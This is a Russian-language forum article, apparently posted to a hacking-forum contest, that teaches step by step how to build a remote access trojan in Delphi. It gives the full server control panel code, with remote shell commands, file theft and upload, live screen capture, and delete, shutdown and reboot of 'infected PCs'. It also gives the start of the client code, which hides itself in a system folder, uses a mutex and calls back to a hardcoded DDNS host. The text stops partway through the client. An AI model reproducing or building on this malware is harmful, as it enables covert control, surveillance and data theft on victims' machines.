Статья Пишем ратник с нуля и навека

KONUNG · 06.10.2020

Введение.
Эта статья написана мной(KONUNG) специально для конкурса на XSS. Сейчас я расскажу о том как я разрабатывал свой ратник, программировал я его долго, в основном когда было время. Ратник написан на Delphi, данный язык я выбрал из-за его нативности да и просто потому что он очень хорошо мне знаком, приходилось частенько писать всякие софта на нем, но даже если вы не программист или не знаете данного языка, не спешите закрывать статью, я постараюсь объяснить все простыми словами, для большей наглядности, каждую строчку кода я буду объяснять, дополнять своими комментариями, желательно что бы Delphi была от XE5 и выше, старые версии студии могут не подойти. Клиент можно без затруднений перенести на другие языки так как я буду использовать в основном winapi функции. Не скажу что сейчас продемонстрирую невьебеннейший ратник который будет панацеей для тех кто ищет подобный софт, т.к. я сам не профи и возможно в коде будут ошибки.

Теория.
Фундаментом для всех софтов удаленного доступа служит протокол передачи данных. Есть много вариантов HTTPS, BitTorrent и т.д., мы же будем использовать сокеты. Сокеты бывают двух, TCP и UDP, синхронные и асинхронные, блокируемые и неблокируемые. TCP гарантирует доставку пакетов, их очередность, автоматически разбивает данные на пакеты и контролирует их передачу, в отличии от UDP. Но при этом TCP работает медленнее за счет повторной передачи потерянных пакетов и большему количеству выполняемых операций над пакетами. Ну я думаю вы уже догадались каким мы будем использовать. Итак, софт состоит из двух частей, серверной(той что у нас) и клиентской(той что у жертвы).
Логика такая, после запуска клиентской части, первое что крыса делает это смотрит есть ли она уже в системе, если нету, копирует себя в определенную директорию, если есть то проверяет запущен ли уже какой нибудь экземпляр ее самой, если запущен то она выключается, после создаются потоки заражения флешки, проверки инжекта DLL и автозагрузки (ниже объясню), можно было бы конечно ещё и клиппер пихнуть, ну это вы уже как нибудь сами, затем сервер и клиент устанавливают соединение, а потом начинают общаться, в стиле:

-Привет, как дела?
-Привет, у меня все хорошо.

Сервер будет отправлять команды, клиент будет воспринимать их, и действовать согласно указаниям, когда необходимо отправлять ответ, если вдруг сервер отключается, то клиент снова пытается наладить соединение, ну общую логику думаю вы поняли, как самую первые действия после запуска можно добавить проверку на виртуалку или песочницы.

Сервер.

Что же, на серверной части мы будем использовать VCL форму с VCL компонентами сокетов, я решил что во время написания этой части софта, не буду использовать winsock, а просто возьму уже готовую оболочку, это сократит время на написание серверной части. И так, первое что нам нужно сделать это добавить VCL компоненты сокетов, так как изнаально их нету в менюшке с визуальными компонентами. Просто следуйте действиям на скринах.

Далее в появившемся диалоговом окне проходим по пути к вашей Delphi, в моем случае это C:\Program Files (x86)\Embarcadero\Studio\21.0\bin там находим файл dclsockets270.bpl в разных версиях Delphi цифры могут отличаться.

Следующий этап, это создание формы, нужно накидать на нее элементов и сделать что-то похожее на панель управления ботами. Можете сделать панель такую как у меня. на скрине будут описаны свойства каждого из элементов.

Итак после того как мы создали приемлемую панель управления, можем потихоньку приступать к написанию кода, первое что мы сделаем это пропишем запуск сервера, у кнопки с текстом "Начать прием" создаем событие OnClick и прописываем следующий код.

Код:

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
if SpeedButton1.Caption = 'Начать Прослушивание' then //Если текст кнопки - Начать Прослушивание, выполняется следующий код
  begin
  ServerSocket1.Port:=strtoint(edit1.Text); //Устанавливаем Порт на котором должен будет работать сервер
  ServerSocket1.Open;    //Запускаем сервер
  timer1.Enabled:=true; //Запукаем таймер, дальше вы поймете что он делает
  SpeedButton1.Caption:='Остановить Прослушивание'; //Без комментариев
  end
    else //Если текст кнопки не "Начать Прослушивание", выполняется следующий код
  begin
  ServerSocket1.Close; //Завершаем работу сервера
  timer1.Enabled:=false; //Завершаем работу таймера
  SpeedButton1.Caption:='Начать Прослушивание';
  listview1.Items.Clear; //Очищаем наш ListView в котором у нас находится инфа о ботах
  end;
end;

Далее нам нужно обьявить класс
ODA = class XXX: string end;
для тех кто не знает, в Delphi классы обьявляются после ключевого слова type, то есть чуть выше глобального обьявления переменных (глобального var)
В данном классе у нас будет храниться ответ от клиента, после того как клиент подключается к серверу в ListView мы создаем Итем у которого будут определенные свойства, по которым мы будем ориентироваться в каком положении вообще находится клиент. то есть у нас получается этакая сетка с данными, аля многомерный массив. С точки зрения кода это будет выглядеть следующим образом, у ServerSocket прописываем событие OnClientConnect

Код:

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var item: tlistitem;
    GGG: Oda; //Экземляр того класса который мы и создали

begin
GGG:=oda.Create;  //Создаем экземляр класса
Item:=Form1.ListView1.Items.Add; //Ну собственно создаем итем
Item.Caption := intToStr(Socket.Handle);
Item.SubItems.Add('');
Item.SubItems.Add('');         //Думаю вы поняли что мы просто прописываем пустоту итему, т.к. мы
Item.SubItems.Add('');        //пока ничего о нем не знаем кроме его "ID" и "IP"
Item.SubItems.Add(socket.RemoteAddress);
Item.SubItems.Add('...');
Item.SubItems.Add('');
Item.SubItems.Add('');
Item.SubItems.Objects[0] := TObject(Socket); //Собственно хранится сам сокет клиента
Item.SubItems.Objects[2] := Tobject(boolean(true)); //Ниже поясню зачем нужен этот объект
Item.SubItems.Objects[3] := TObject(GGG); //В этот объект будут писаться ответ от сервера, пояснения дальше в коде
Socket.SendText('<Ready>$END$'); //Говорим клиенту который подключился что мол все я готов, отправляй инфу о себе
end;

Следующим по очереди, и наверное одним из самых важных идет обработка ошибок, на первый взгляд все кажется запутанным, но если вникнуть в логику то вы поймете как все элементарно. У нас есть Timer о котором как раз и пойдет сейчас речь, таймер с интервалом в 5 сек. пингует всех подключенных ботов, и если во время пинговки происходит ошибка то он просто удаляет этого бота из ListView, а во время передачи файла или демонстрации экрана таймер не пингует этого бота, а понимает это он по Objects[2], если значение True, то не пингует, если False то пингует. Во время передачи файла и т.д. клиент может резко оборвать соединение и ServerSocket просто выкенет нам Exception с ошибкой, а значение Object[2] будет True, и так, что мы делаем, у ServerSocket прописываем событие OnCLientError

Код:

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  var Item: TListItem;
begin
ErrorCode:=0; //Первое что мы делаем это устанавливаем ErrorCode на ноль, что бы по завершению этого события не выскачил Exception
Item := Form1.ListView1.FindCaption(0, intToStr(Socket.Handle), false, true, false); //Теперь мы идентифицируем от какого сокета пришла ошибка, по хэндлу сокета находим итем в ListView
Item.SubItems.Objects[2] := Tobject(boolean(false)); //Далее Устанавливается False значение, что бы таймер мог пинговать, а значит и удалить
end;

Событие обработки Таймера

Код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: Integer;
begin
  for i := 0 to ListView1.Items.count - 1 do //Проходим по всем ботам
    begin
      if boolean(Form1.ListView1.Items.Item[i].SubItems.Objects[2]) = false then //Проверяем идет передача файлов или нет
        begin //Если передача не идет,
         try
          Form1.ListView1.Items.Item[i].SubItems.Objects[1] := TObject(GetTickCount); //Начинаем отчет времени
          TCustomWinSocket(Form1.ListView1.Items.Item[i].SubItems.Objects[0]).SendText('<|PING|>$END$'); //Отправляем запрос пинга
         except //И теперь есть процедура SendText выполнилась с ошибкой то выполняется следующий код
            (Form1.ListView1.Items[i].SubItems.Objects[4] as TForm4).Destroy; //Удаляем формы управления,
            (Form1.ListView1.Items[i].SubItems.Objects[5] as TForm2).Destroy; //Об этом чуть дальше
            (Form1.ListView1.Items[i].SubItems.Objects[6] as TForm5).Destroy;
            Form1.ListView1.Items.Delete(i); //Удаляем ботак который не пингуется, i - тот на котором нас выбросило
          end;
        end;
    end;
end;

И таким образом получается что клиент который отключился удаляется не сразу, а до следующего пинга, да конечно можно было бы сделать это еще в OnClientError или OnClientDisconnect, но я решил пойти другим путем. Пингуем мы боты по типу Сонара, отправляем ПИНГ и начинаем считать, как только получаем ПОНГ количество времени которое мы ждали делим на два и получается пинг. Поры бы уже перейти на обработку ответов от клиента, но давайте немного отдохнем от кода и займемся вспомогательными формами.
Нжно создать еще парочку форм:

форма файлового менеджера откуда мы будем управлять файлами клиента
форма стека, в которую будет добавлять вся информация которую сервер получает от клиентов
форма для CMD
форма для просмотра рабочего стола.

В форме есть только Memo и кнопка для очисти данных, куда будут стекать все ответы которые мы получаем. Это нужно для удобства отладки, хотя вы можете этого и не делать.
На событие OnClick на кнопке, добавляем всего одну строчку кода memo1.Clear

Edit для ввода команды, кнопка для отправки и мемо для отображения ответа.
В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную DSocket: TCustomWinSocket;

У Edit'а создаем событие onKeyPress со следующим кодом.

Код:

procedure TForm4.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = #13 then //Если нажимаем Enter то выполняем следующий код
  begin
    Key := #0;
    Button1Click(self); //Вызываем процедуру Button1Click, процедуру которая выполняется при нажатии кнопки
  end;
end;

OnClick событие на кнопку:

Код:

procedure TForm4.Button1Click(Sender: TObject);
begin
  FDSocket.SendText('CMD:'+Edit1.Text+'$END$');
  edit1.Text:='';
end;

Обработчик события Onclick у CheckBox3, думаю не стоит описывать данный код, тут и так все максимально понятно.

Код:

procedure TForm5.CheckBox3Click(Sender: TObject);
begin
  if CheckBox3.Checked then
  begin
    Image1.AutoSize := false;
    Image1.Stretch := true;
    Image1.Align := alClient;
  end
  else
  begin
    Image1.AutoSize := true;
    Image1.Stretch := false;
    Image1.Align := alNone;
  end;
end;

В заголовках uses добавляем System.Win.ScktComp
в полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form5, и добавляем usabiles: boolean; Эта переменная как показатель того что идет демонстрация

Обрабочик кнопки начала начинающей просмотр

Код:

procedure TForm5.Button1Click(Sender: TObject);
var Item: TListItem;
begin
if usabiles then raise Exception.Create('Алё нахуй, демонстрация уже идет!'); 
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false);
Item.SubItems.Objects[2]:=TObject(boolean(true)); //что бы не пинговать текущего бота
usabiles:=true;
FDSocket.SendText('DESP:ST$END$'); //Отправляем сообщение о начале демонстрации клиенту
end;

Обработчик кнопки завершения просмотра
procedure TForm5.Button2Click(Sender: TObject);
var Item: TListItem;
begin
usabiles:=false;
Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false);
Item.SubItems.Objects[2]:=TObject(boolean(false)); //Можно продолжать пинговать
end;

В заголовках uses добавляем System.Win.ScktComp
В полях формы, в разделе public добавляем переменную FDSocket: TCustomWinSocket;
В глобальном var стираем переменную Form2, и добавляем OldParrent, colorizer: string;

Edit1 событие OnKeyPress

Код:

procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = #13 then
  begin
    Key := #0;
    FDSocket.SendText('FilePath:' + Edit1.Text + '$END$')
  end;
end;

ListView1 событие onDblClick, открывает папки по двойному клику на папку.
Сейчас не совсем понятно, но когда мы будем писать клиентскую часть, все встанет на свои места

Код:

procedure TForm2.ListView1DblClick(Sender: TObject);
begin
  if Edit1.Text[length(Edit1.Text)] = '\'
   then Edit1.Text := Edit1.Text + ListView1.Items[ListView1.Selected.Index].Caption
   else Edit1.Text := Edit1.Text + '\' + ListView1.Items[ListView1.Selected.Index].Caption;
  FDSocket.SendText('FilePath:' + Edit1.Text + '$END$');
end;

Теперь надо написать обработчик событий OnClick на каждый итем Popupmenu`шки. Я думаю вы поймете какое событие привязано к какой кнопки, взглянув слева от формы на скрине выше.

Код:

procedure TForm2.N1Click(Sender: TObject);
var
  Memory, separator: string;
begin //Команда которая говорит клиенту запустить какую либо программу
  Memory := ListView1.Items[ListView1.Selected.Index].Caption;
  if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
  FDSocket.SendText('Start:' + Edit1.Text + separator + Memory + '$END$');
end;

procedure TForm2.N2Click(Sender: TObject);
var
  Memory, separator: string;
begin //Команда удаления
  Memory := ListView1.Items[ListView1.Selected.Index].Caption;
  if Edit1.Text[length(Edit1.Text)] <> '\'
    then separator := '\'
    else separator := '';
  if pos('.', Memory) = 0
    then FDSocket.SendText('DelDirs:' + Edit1.Text + separator + Memory + '$END$')
    else FDSocket.SendText('DelFile:' + Edit1.Text + separator + Memory + '$END$');
end;

procedure TForm2.N3Click(Sender: TObject); //Тут самое интересное, процедура скачивания файла от клиента к серверу
var
  Memory, separator, togler: string;
  Item: TListItem;
begin
  if SaveDialog1.Execute then colorizer := SaveDialog1.FileName else exit; // Выбираем куда будем сохранять
  Memory := ListView1.Items[ListView1.Selected.Index].Caption; //берем название файла который хотим скачать
  if ListView1.Selected.ImageIndex = 0 then raise Exception.Create('Нельзя скачать папку');
  if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
  togler := ListView1.Items[ListView1.Selected.Index].SubItems[1]; //Получаем количество байт, что бы прикрутить Gauge
  Delete(togler, pos('(бт.)', togler), togler.length); //Удаляем (бт.)
  Gauge1.MaxValue := strtoint(togler) + 12; //+12 байт сверху из-за того что клиент помимо файла отправляет еще 12 байт, в которых говорит что это тот самый файл
  Item := Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false); //Находим бота над которым работаем сейчас в таблице ListView, главной формы
  item.SubItems.Objects[2]:=TObject(boolean(true)); //Опять же ставим запрет на пинг бота
  FDSocket.SendText('Download:' + Edit1.Text + separator + Memory + '$END$'); //Формируем конечный запрос и отправляем его клиенту
end;

function FileOpenText(const FileName: string): ansistring; //Функция для считывания файла в переменную ansistring
var
  f: THandle;
  dwResSize, dwRead: DWORD;
begin
  result := '';
  f := CreateFile(PChar(FileName), GENERIC_READ, 0, nil, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if f = INVALID_HANDLE_VALUE then
    exit;
  try
    dwResSize := GetFileSize(f, nil);
    SetLength(result, dwResSize);
    if dwResSize > 0 then
    begin
      ReadFile(f, result[1], dwResSize, dwRead, nil);
      if dwRead <> dwResSize then
        Raise Exception.CreateFmt
          ('Read error: %d bytes instead of %d (file "%s")',
          [dwResSize, dwRead, FileName]);
    end;
  finally
    CloseHandle(f);
  end;
end;

function FileSize(fileName : wideString) : Int64; //Думаю название строки говорит само за себя
var
   sr : TSearchRec;
begin
   if FindFirst(fileName, faAnyFile, sr ) = 0 then
      result := Int64(sr.FindData.nFileSizeHigh)
        shl Int64(32) + Int64(sr.FindData.nFileSizeLow)
   else
      result := -1;

   FindClose(sr) ;
end;

procedure TForm2.N4Click(Sender: TObject);
var
  separator, Data: string;
  Item: TListItem;
begin
  if not(OpenDialog1.Execute) then exit;
  if Edit1.Text[length(Edit1.Text)] <> '\' then separator := '\' else separator := '';
  FDSocket.SendText('UPLOAD:'+Edit1.Text + separator + extractfilename(OpenDialog1.FileName)+'$END$'); //Говорим клиенту что бы он приготовился так как мы сейчас будем отсылать файл, так же указываем в какую дирректоирию и с каким именем должен сохраниться файл
  Form1.ListView1.FindCaption(0, intToStr(FDSocket.Handle), false, true, false).SubItems.Objects[2]:=TObject(boolean(true)); //Опять же что бы таймер не пинговал текущего бота
  sleep(300); //Даем клиенту осознать немного смысл бытия
  Data:=FileOpenText(OpenDialog1.FileName); //открываем этот файл в переменную стринг что бы можно было его отправить как будто бы текстом, да я знаю что это костыльный подхох xD
  Gauge2.MaxValue := Data.Length; //Устанавливаем размер файла, компоненту Gauge2 как максимальный допустимый
  FDSocket.SendText(Data+'$END$'); //Отправляем файл.
end;

Теперь когда все необходимые формы прописаны как нам нужно, надо отключить их автоматическое создание вместе с программой. Для этого в верхней панели Студии выбираем раздел Project ->Options. Нам нужно оставитьб только две формы, главную форму, и форму стека, все остальные отключить, они не должны создаваться вместе с софтом.

Итак, наверное вы уже устали возиться с клиентом, но остался последний рывой, и мы перейдем к самому интересному написанию клиента, написание клиента займет намного меньше кода, и при этомбудет гораздо увлекательнее. Ну ладно, давайте продолжим, следующий этам это как раз таки обработка ответов от клиента, и отправка еще нескольких из главной формы.

Добавляем в код главной формы следующее

Код:

procedure Check;
begin
  if form1.listview1.ItemIndex<0 then raise Exception.Create('Выберите Зараженны пк!');
end;

function Pars(T_, ForS, _T: string): string;
var
a,b: integer;
begin
  Result:= '';
  if (T_='') or (ForS='') or (_T='') then
  Exit;
  a:= Pos(T_,ForS);
  if a=0 then
  Exit
  else
  a:= a+length(T_);
  ForS:= copy(ForS, a, Length(ForS)-a+1);
  b:=Pos(_T,ForS);
  result:= copy(ForS,1,b-1);
end;

Я знаю что эту функцию парса использовали ~~триллионы лет назад~~ еще когда по земле ходили мамонты, но это не делает ее не рабочей.
Обрабочик события OnKeyPress на Edit1 на случай если кто-то осмелится написать что-либо кроме цифр.

Код:

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['0'..'9', #8])then Key:=#0;
end;

Теперь самое тяжелое по восприятию, сразу извиняюсь за ужасную стилистику написания кода.
Событие OnClientRead компонента ServerSocket. Логика кода здесь такая, после получения данных сервер смотрит от кого данные пришли, находит по Socket.Handle подходящий итем в ListView, кладет в обьект этого итема полученный ответ от сервера, затем смотрит получил ли он все пакеты, или какой то еще остался, понимает это он по наличию $END$ в ответе, если $END$ есть в ответе то он его удаляет и проверяет какой ответ пришел от клиента, и уже судя по ответу отображает данные, сохраняет файл или что он там делает, а если он все еще не получил $END$ то он будет его ожидать и собирать данные в переменную, до тех пор пока не получит заветный $END$, знак о том что все пакеты пришли.

Код:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  i: integer;
  Splitter: TArray<string>; //Для тех кто не шарит это дженерик, для удобства работы с ответами
  Dirs: Tstringlist;
  Item: TListItem;
  sItem: TListItem;
  CMD_Form: TForm4;
  File_Form: TForm2;
  Remote_Form: TForm5;
begin
Item := Form1.ListView1.FindCaption(0, intToStr(Socket.Handle), false, true, false); //Я думаю это вы уже знаете
(Item.SubItems.Objects[3] as ODA).XXX:=(Item.SubItems.Objects[3] as ODA).XXX+socket.ReceiveText;
if pos('$END$', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
  begin
  Delete((Item.SubItems.Objects[3] as ODA).XXX, POS('$END$', (Item.SubItems.Objects[3] as ODA).XXX), Length((Item.SubItems.Objects[3] as ODA).XXX));
  form3.Memo1.Lines.Add('SockID:'+inttostr(socket.Handle));
  form3.Memo1.Lines.Add((Item.SubItems.Objects[3] as ODA).XXX); //Добавляет данные в стек
  if POS('<|Info|>', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then //Ответ на команду Ready, в котором содержатся данные о клиенте
    begin
    SPlitter:=string((Item.SubItems.Objects[3] as ODA).XXX).Split([':']); //Разрезаем данные и пихаем их в ListView
    Item.SubItems[0]:=Splitter[1];
    Item.SubItems[1]:=Splitter[2];
    Item.SubItems[2]:=Splitter[3];
    Item.SubItems.Objects[2] := Tobject(boolean(false)); //Показатель того что все ок, и клиент готов к работе, можно его пинговать
    CMD_Form:=TForm4.Create(self); //Вот и пригодились формы над которыми мы работали, каждый бот имеет свой экземляр формы, 
    CMD_Form.FDSocket:=Socket;      //для того что бы можно было управлять несколькими ботами сразу
    CMD_Form.Caption:='CMD: '+Item.SubItems[0];
    File_Form:=TForm2.Create(self);
    File_Form.FDSocket:=Socket;
    File_Form.Caption:='File Manager: '+Item.SubItems[0];
    Remote_Form:=TForm5.Create(self);
    Remote_Form.FDSocket:=Socket;
    Remote_Form.Caption:='Remote View: '+Item.SubItems[0];
    Item.SubItems.Objects[4] := TObject(CMD_Form);
    Item.SubItems.Objects[5] := Tobject(File_Form);
    Item.SubItems.Objects[6] := Tobject(Remote_Form);
    end else                                                                                                                  //Тот самый сонар о котором говорилось выше
  if 'PONG' = (Item.SubItems.Objects[3] as ODA).XXX then Item.SubItems[4] := intToStr((GetTickCount - Integer(Item.SubItems.Objects[1])) div 2)+'ms.' else 
  if Pos('CMD:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin //Отображаем ответ консоли в Memo
    Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, 4);
    (Item.SubItems.Objects[4] as TForm4).Memo1.Lines.Add((Item.SubItems.Objects[3] as ODA).XXX);
    end else
  if pos('FilePathRecaive:PathNotExists', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then SHowmessage('Дирректория не существует!') else
  if POS('FilePathRecaive:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin
    (Item.SubItems.Objects[5] as TForm2).ListView1.Items.Clear;
    Dirs:=TStringlist.Create;
    Delete((Item.SubItems.Objects[3] as ODA).XXX,1,16);
    Dirs.Text:=(Item.SubItems.Objects[3] as ODA).XXX;
    for I := 0 to Dirs.Count-1 do
      begin //Так же юзая дженерики заполняем ListView формы файлового менеджера
      Splitter:=Dirs[I].Split(['|']);
      sitem:=(Item.SubItems.Objects[5] as TForm2).ListView1.Items.Add;
      sItem.caption:=splitter[0];
      sitem.SubItems.Add(splitter[1]);
      sItem.subitems.Add(splitter[2]+'(бт.)');
      if splitter[3] = 'DIR' then sitem.ImageIndex:=0 else  //В зависимости от типа файла присваиваем ему иконку
      if pos('.txt', Dirs[I])<>0 then sitem.ImageIndex:=2 else
      if pos('.exe', Dirs[I])<>0 then sitem.ImageIndex:=4 else
      if pos('.dll', Dirs[I])<>0 then sitem.ImageIndex:=1 else
      if pos('.jpe', Dirs[I])<>0 then sitem.ImageIndex:=3 else
      if pos('.zip', Dirs[I])<>0 then sitem.ImageIndex:=5 else
      if pos('.rar', Dirs[I])<>0 then sitem.ImageIndex:=5 else sitem.ImageIndex:=6;
      end;
    end else
  if pos('Length:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin //Клиент отправляет нам инфу о том сколько байт файла уже отправилось
    (Item.SubItems.Objects[3] as ODA).XXX:=pars('Length:', (Item.SubItems.Objects[3] as ODA).XXX, '<');
    (Item.SubItems.Objects[5] as TForm2).Gauge2.Progress:=strtoint((Item.SubItems.Objects[3] as ODA).XXX);
    application.ProcessMessages;
    end else
  if pos('GoFile:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin //Сохраняем файл который был запрошен у клиента
    Delete((Item.SubItems.Objects[3] as ODA).XXX,1,7);
    FileSaveText(Colorizer, (Item.SubItems.Objects[3] as ODA).XXX);
    Item.SubItems.Objects[2]:=TObject(boolean(false));
    ShowMessage('Файл успешно был принят');
    (Item.SubItems.Objects[5] as TForm2).Gauge1.Progress:=0;
    application.ProcessMessages;
    end else
  if (Item.SubItems.Objects[3] as ODA).XXX = '<Uploaded>' then
    begin //Это говорит нам о том что клиент успешно принял отправленный ему файл
    Showmessage('Файл Успешно передан!');
    item.SubItems.Objects[2]:=TObject(boolean(false));
    (Item.SubItems.Objects[5] as TForm2).Gauge2.Progress:=0;
    end else
  if pos('Fraps|', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin 
    var wic :  TWICImage;                //Логика такая, что как только мы получаем от клиента Один кадр, мы говорим что мы получили
    var bit: tbitmap;                         //Давай еще один кадр, но если usabiles = false то не надо, просмотр окончен 
    var MyCursor: TIcon;                  //Клиент отправляет нам картинку и информацию о курсоре, где он находится и какой, мы отображаем картинку
    var TIconInfo: _ICONINFO;        //И уже на ней сами отрисовываем курсор
    var x, y, id: integer;
      begin
      bit:=tbitmap.Create;
      wic := TWICImage.Create;
      MyCursor:= TIcon.Create;
      Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, 6);
      x:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
      Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
      y:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
      Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
      id:=strtoint(Copy((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX)-1));
      Delete((Item.SubItems.Objects[3] as ODA).XXX, 1, pos('|', (Item.SubItems.Objects[3] as ODA).XXX));
      wic.LoadFromStream(AnsiStringToStream((Item.SubItems.Objects[3] as ODA).XXX));
      bit.Assign(wic);
      MyCursor.Handle := id;
      GetIconInfo(Mycursor.Handle, TIconInfo);
      bit.Canvas.Draw(x-TIconInfo.xHotspot, y-TIconInfo.yHotspot, MyCursor);
      (Item.SubItems.Objects[6] as TForm5).image1.Picture.Assign(bit);
      (Item.SubItems.Objects[6] as TForm5).ResX := (Item.SubItems.Objects[6] as TForm5).Image1.Width;
      (Item.SubItems.Objects[6] as TForm5).ResY := (Item.SubItems.Objects[6] as TForm5).Image1.Height;
      Form3.Memo1.Lines.Add(inttostr(x));
      Form3.Memo1.Lines.Add(inttostr(y));
      Form3.Memo1.Lines.Add(inttostr(id));
      wic.free;
      bit.Free;
      MyCursor.Free;
      if usabiles then Socket.SendText('DESP:ST$END$');
      end;
    end;
  (Item.SubItems.Objects[3] as ODA).XXX:=''; //После того как команда была получена и выполнена мы очищаем переменную, для следующих комманд
  end
    else
  begin
  if pos('GoFile:', (Item.SubItems.Objects[3] as ODA).XXX)<>0 then
    begin //Если мы получили от клиента не все пакеты, то смотрим возможно он отправляет нам файл, а мы его получаем, и если так, то отображаем сколько % получили
    (Item.SubItems.Objects[5] as TForm2).Gauge1.Progress:=Length((Item.SubItems.Objects[3] as ODA).XXX);
    application.ProcessMessages;
    end;
  end;
end;

Теперь нам нужно написать события для PopupMenu главной формы, Ну крч вот

Обработчики каждой из кнопок
N11 - check; (Form1.ListView1.Selected.SubItems.Objects[6] as TForm5).show;
N21 -

Код:

check;
(Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText('FilePath:'+(Form1.ListView1.Selected.SubItems.Objects[5] as TForm2).Edit1.Text+'$END$');
(Form1.ListView1.Selected.SubItems.Objects[5] as TForm2).Show;

N31 - check; (Form1.ListView1.Selected.SubItems.Objects[4] as TForm4).show;
N1 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'close$END$' );
N2 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'restart$END$' );
N3 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'delete$END$' );
N5 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'ShutDown$END$' );
N6 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'SLEEP$END$' );
N7 - (Form1.ListView1.Selected.SubItems.Objects[0] as TCustomWinSocket).SendText( 'Reboot$END$' );

Клиент
Я рад что вы добрались до этой части, потому что здесь начинается самое интересное. Вы сейчас скажите что на Delphi нельзя писать трои, он будет много весить и т.д., но не спешите с выводами, первое что следует учесть, это то, что мы не будем использовать VCL компоненты как на серверной стороне, а будем юзать winsock, то есть будем намнго все облегчено. Как обычно создаем VCL проект, но теперь уже удаляем форму, делается это следующим образом:

После этого жмем один раз ЛКМ по Project2 что бы он выделился, и нажимаем Ctrl+V, После чего перед напи предстает следующий код:

Ресурс файл нам не нужен и VCl.Forms тоже. Все это мы затираем и остается у нас только Program Project2; uses и begin end;
Следующее что мы делаем это добавляем в uses следующие заголовки

Код:

uses
  Winsock,
  Windows,
  SysUtils,
  winapi.ActiveX,
  GDIPAPI,
  GDIPUTIL;

Ну все, у нас есть пустая программа, лишь с подключенными библиотеками в uses. После uses и подключенных заголовков нам обьявить следующий класс

Код:

type
    PROCESS_DPI_AWARENESS = (PROCESS_DPI_UNAWARE, PROCESS_SYSTEM_DPI_AWARE, PROCESS_PER_MONITOR_DPI_AWARE);

Этот класс нужен для работы функции SetProcessDpiAwareness, которая импортируется из DLL следующим образом.

function SetProcessDpiAwareness(value: PROCESS_DPI_AWARENESS): HRESULT; stdcall; external 'Shcore.dll' name 'SetProcessDpiAwareness';

Прописать это нужно после Var. Данная функция нужна для того что бы Прога правильно распознавала раздрешение экрана, без этой функции ничего не выйдет. Вы скажите все норм если попробуете сделать это без данной функции в другом проекте, и будете правы, но тут ведь мы отключили манифест в котором как раз таки и указывается DpiAwareness, по этому нам нужно установить его вручную.
Далее для удобства обьявляем константы что бы не бегать по коду и не переправлять каждую строку, когда это будет нужно.

Код:

label Again;

Const
  ServerHost = 'myserver.ddns.net';
  ServerPort = 20000;
  Timeout = 3000;
  DropPath   = 'C:\985\';
  DropName   = 'Cliente.exe';
  MyMutex = '46586269874574257858572127896876158646242';

Далее по порядку идут переменные

Код:

Var
  {Winsock}
  D:TWSAData;
  FSocket:TSocket;
  A:TSockAddr;
  OldParrent: integer;
  StrCommand: string;
  {Screenshot}
  Scrn, Mem: HDC;
  alla: tagCursorInfo;
  Bmp, Old: HBITMAP;
  buf: ansistring;
  width, height: integer;
  encoderClsid: TGUID;
  Image: GPIMAGE;
  ABC: ISTREAM;
  sz: uint64;
  {---}
  UPLOADFile: TextFile;
  PCInfo:String;
  ValuesT: integer;
  Reciving: boolean;
  Recbuffer: string;
  {---}

Теперь давайте приступик к написанию самого кода. Первое что должен делать клиент это смотреть есть ли он уже в системе.

Код:

Procedure InstallAllinstances();
begin
if not(FileExists(DropPath+DropName)) then //Проверяе мналичие клиент
    begin
    ForceDirectories(DropPath); //Если клиента нет, то создаем
    CopyFile(PChar(ParamStr(0)),pchar(DropPath+DropName),false); /Копируем себя в эту дирректорию
    FileSetAttr(DropPath, faSysFile or faHidden or faReadOnly); //Устанавливаем аттрибуты Системный, скрытый, тольео для чтения. Из-за атрибута системный найти нас не так легко, т.к. мы не отображаемя в обычном проводнике
    ShellApik(pchar(DropPath+DropName)); //Запускаемся от туда
    ExitProcess(0); //Защелкиваемся к хуям собачьим, закрываем себя
    end;
